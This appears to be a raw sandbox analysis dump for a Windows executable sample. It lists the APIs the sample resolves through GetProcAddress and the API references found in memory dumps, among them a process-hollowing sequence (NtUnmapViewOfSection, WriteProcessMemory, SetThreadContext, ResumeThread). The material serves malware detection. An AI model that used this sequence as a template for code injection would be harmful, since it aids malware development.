NetStatisticsGet (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter NetApiBufferFree (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter _OPENSSL_isservice (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetForegroundWindow (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCursorInfo (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetQueueStatus (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseToolhelp32Snapshot (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Heap32First (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Heap32Next (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Heap32ListFirst (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Heap32ListNext (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Process32First (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Process32Next (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Thread32First (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Thread32Next (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Module32Next (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WinExec (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter NtUnmapViewOfSection (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter RegisterClassExA (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter PostMessageA (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter DefWindowProcA (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetStartupInfoA (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleExW (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetFileInformationByHandleW (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00007352)39:T5bc,Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "CreateFile2" (Indicator: "CreateFile"; File: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "CreateFile2" (Indicator: "CreateFile"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp")3a:T506,Found reference to API "MoveFileW" (Indicator: "MoveFile"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "MoveFileA" (Indicator: "MoveFile"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "MoveFileW" (Indicator: "MoveFile"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "MoveFileA" (Indicator: "MoveFile"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "MoveFileW" (Indicator: "MoveFile"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "MoveFileA" (Indicator: "MoveFile"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "MoveFileW" (Indicator: "MoveFile"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "MoveFileA" (Indicator: "MoveFile"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "MoveFileW" (Indicator: "MoveFile"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")3b:T4b2,Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API 